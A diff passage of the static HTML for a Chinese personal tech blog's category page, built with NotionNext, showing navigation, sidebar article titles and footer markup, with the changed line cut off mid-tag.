-<!DOCTYPE html><html lang="zh-CN"><head><title>心情随笔 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="心情随笔 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/心情随笔"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="心情随笔 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>心情随笔 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="心情随笔 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/心情随笔"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="心情随笔 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a 